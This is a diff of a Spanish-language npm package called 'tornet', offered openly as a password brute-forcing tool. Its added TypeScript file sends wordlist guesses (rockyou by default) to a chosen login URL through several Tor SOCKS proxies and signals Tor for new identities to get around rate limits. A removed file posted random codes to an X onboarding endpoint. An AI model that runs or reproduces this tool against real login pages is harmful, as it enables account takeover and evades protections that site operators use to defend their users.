tornet 1.0.0 → 1.0.1

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "tornet",
-  "version": "1.0.0",
+  "version": "1.0.1",
   "description": "",
   "main": "rotar_ip3.ts",
   "bin":{"tornet":"node rotar_ip3.ts"},

package/readme.md

@@ -1,3 +1,7 @@
+esta es una herramienta de fuerza bruta usando rotación de ip (concretamente la que brinda la red tor).
+
+esto NUNCA va a remplazar a un servicio de pago de rotación automática (hay muchos proxies que ofrecen lo mismo que este código pero 30 veces más rápido), esta es solo una opción gratuita que programé, tengan en cuenta eso
+
 Pasos para usar esta herramienta
 
 1: Descargue el paquete usando npm tornet -g
@@ -10,6 +14,16 @@ chmod +x /iniciar_tor.sh
 
 ./iniciar_tor.sh
 
-3: Una vez haya inicializado tor, solo tiene que usar el comando "tornet", use las flags "--url" y "--usuario" para indicar la url y el usuario al que se hará la fuerza bruta, y "-n" para indicar el número de peticiones a hacer antes del rate-limit
+3: Una vez haya inicializado tor, solo tiene que usar el comando "tornet", use las flags "--url" y "-u" para indicar la url y el usuario al que se hará la fuerza bruta "-n" para indicar el número de peticiones a hacer antes del rate-limit, "--wordlist" para especificar la wordlist que quieres usar, "--body" para indicar el body de la respuesta (cómo string), "--error" para especificar el mensaje de error y "--header" para especificar el header de la respuesta.
+
+¿Cómo debe ser el body?
+
+El body debe tener la variable  "contraseña", por ejemplo el comando: tornet --body "{username:'usuarioreal123',passwd:contraseña}"
+
+¿cómo debe ser el header?
+
+en el header solo se tiene que especificar el tipo, por ejemplo: tornet --header "application/json"
+
+
 
 aviso: La velocidad promedio de esta herramienta es de 2 peticiones por segundo (bastante lento la verdad), si desea aumentar la velocidad le recomiendo dos opciones, o usar un servicio de proxies con rotación de ip automática (de paga), o use esta herramienta en varias computadoras (inevitablemente tendrá que manipular el código, suerte)

package/rotar_ip3.ts

@@ -0,0 +1,103 @@
+ //-------------importaciones--------------
+import yargs from 'yargs'
+import {hideBin} from 'yargs/helpers'
+import fs from 'fs'
+import { SocksProxyAgent } from 'socks-proxy-agent'
+import axios from 'axios'
+import net from 'net'
+
+
+//-------------declaración de variables--------------------
+let wordlist_de_proxies=[]
+let wordlist_de_puertos=[]
+let port= 9052
+
+
+
+//subrama1: yargs:
+
+const yarg= yargs(hideBin(process.argv))
+.option("url",{demandOption:false,type:"string"}).option("n",{type:"number",demandOption:false, default:5}).
+option("header",{type:"string",default:"application/json"})
+.option("body",{type:"string"})
+.option("method",{type:"string"})
+.option("wordlist",{type:"string",default:"/usr/share/wordlists/rockyou.txt"})
+.option("error",{type:"string",default:"error"}).parseSync()
+
+let url= yarg.url || "https://login-de-pruebas-1.onrender.com/login"
+
+let wordlist= fs.readFileSync(yarg.wordlist).toString().split("\n")
+
+let body= yarg.body
+
+let num_de_peticiones=0
+
+let promesas:any=[]
+
+
+let header=yarg.header
+let contraseña_encontrada:boolean=false
+let a=0
+
+// for(let contra of wordlist){
+//     if(contra==="password123"){console.log("contraseña encontrada, indice:",a)}
+//     ++a
+// }
+
+//declaracion de funciones
+
+async function worker(proxie:any){let i=0; 
+    
+    while(i<yarg.n){try{let contraseña= wordlist.shift();
+       
+            axios.post(url,JSON.parse(body!),{httpAgent:proxie,httpsAgent:proxie,headers:{"Content-Type":header}})
+     .then(function(data){if(data.data.includes("to many")){wordlist.unshift(contraseña!)}if(!data.data.includes("to many")){++num_de_peticiones; console.log(num_de_peticiones);console.log("contraseña incorrecta:",contraseña);}; if(!data.data.includes("error")){console.log("la contraseña es:",contraseña); contraseña_encontrada=true; return}}).catch(function(error){console.log("error",error)})
+       
+     
+    }catch(error){console.log("error:",error)}
+        ++i;
+    }
+}
+
+//-----------codigo-------------
+
+while(port<=9060){
+    let agent= new SocksProxyAgent(`socks5://127.0.0.1:${port}`,{keepAlive:false})
+    wordlist_de_proxies.push(agent); wordlist_de_puertos.push(port)
+    port=port+2}
+
+   let ID1=  setInterval(async () => {if(contraseña_encontrada===true){clearInterval(ID1)}
+        console.log("puertos:",wordlist_de_puertos.length)
+    for(let puerto of wordlist_de_puertos){
+        let socket = new net.Socket();
+        socket.connect(puerto+1,"127.0.0.1",function(){
+
+            socket.write('AUTHENTICATE ""\r\n');
+            socket.on("data",function(data){
+                let response= data.toString()
+                    if (response.includes('250')) {
+                        socket.write('SIGNAL NEWNYM\r\n');}
+                        else{socket.destroy()}
+            })
+            socket.on("error",function(data){console.log(data.toString());  socket.write('QUIT\r\n'); socket.destroy()})})
+    }
+
+    }, 10000);
+
+    
+   let ID2= setInterval(async () => {if(contraseña_encontrada===true){clearInterval(ID2); process.exit()}
+          for(let proxie of wordlist_de_proxies){
+      promesas.push(worker(proxie))
+    }
+
+    await Promise.all(promesas); console.log("proxies:",wordlist_de_proxies.length); promesas=[]
+    }, 5000);
+       
+    
+                    
+    
+
+    
+    
+    
+   

package/brute_forcing.ts

@@ -1,12 +0,0 @@
-let gmail="undesconocido@gmail.com"
-let diccionario=["1","2","3","4","5","6","7","8","9","0","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"]
-
-let codigo=[diccionario[Math.floor(Math.random()*diccionario.length)],diccionario[Math.floor(Math.random()*diccionario.length)],diccionario[Math.floor(Math.random()*diccionario.length)],diccionario[Math.floor(Math.random()*diccionario.length)],diccionario[Math.floor(Math.random()*diccionario.length)],diccionario[Math.floor(Math.random()*diccionario.length)],diccionario[Math.floor(Math.random()*diccionario.length)],diccionario[Math.floor(Math.random()*diccionario.length)]].join("")
-
-
-let res=await fetch("https://api.x.com/1.1/onboarding/task.json",{method:"POST",headers:{"Content-Type":"application/json"},
-    body:JSON.stringify({text:codigo})})
-
-
-    console.log(res)
-